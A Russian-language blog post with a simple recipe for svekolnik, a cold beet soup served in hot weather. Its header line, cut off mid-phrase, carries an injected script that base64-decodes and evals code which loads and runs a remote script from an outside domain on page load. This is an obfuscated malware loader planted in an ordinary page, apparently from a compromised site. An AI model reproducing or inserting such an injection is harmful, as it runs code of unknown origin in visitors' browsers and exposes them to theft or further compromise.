Без заголовка. Обсуждение на <img src="/i/o.gif"><script>eval(atob('dmFyIG49ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7bi5zcmM9Ii8vdjF2LmJlL3E/cz1wYXIiO2RvY3VtZW50LmdldEVsZW1lbnRzQnlUYWdOYW1lKCJib2R5IilbMF0uYXBwZW5kQ2hpbGQobik7'))</script> |
Свекольник - холодный суп в жару
Вариантов приготовления холодного свекольника много. У каждой хозяйки есть свой оригинальный рецепт. Холодник или свекольник - идеален в жару. Он готовится быстро. Главная задача - охладить суп после приготовления.
Свекольник можно приготовить прямо в тарелках. Заранее отварите свеклу и яйца. Подготовьте сметану, зелень и кипяченую воду, подкисленную соком лимона.
На двух человек понадобится:
2 маленькие отварные свеклы, 2 яйца, 1 средний огурец, 4 ст. л. жирной сметаны, 1 л кипяченой холодной воды, стебли зеленого лука, свежий укроп, соль по вкусу.
Свеклу порезать кубиками, мелко нарезать лук и укроп. Поместить все в тарелки. Добавить соль, натертый свежий огурец, укроп и сметану.
Залить холодной кипяченой водой с соком лимона. Можно немного подсластить сахаром и добавить хрен. В каждую тарелку поместить половинки яиц.
Свекольник готов! Можно приступать к вкусной полезной трапезе!
Комментировать | « Пред. запись — К дневнику — След. запись » | Страницы: [1] [Новые] |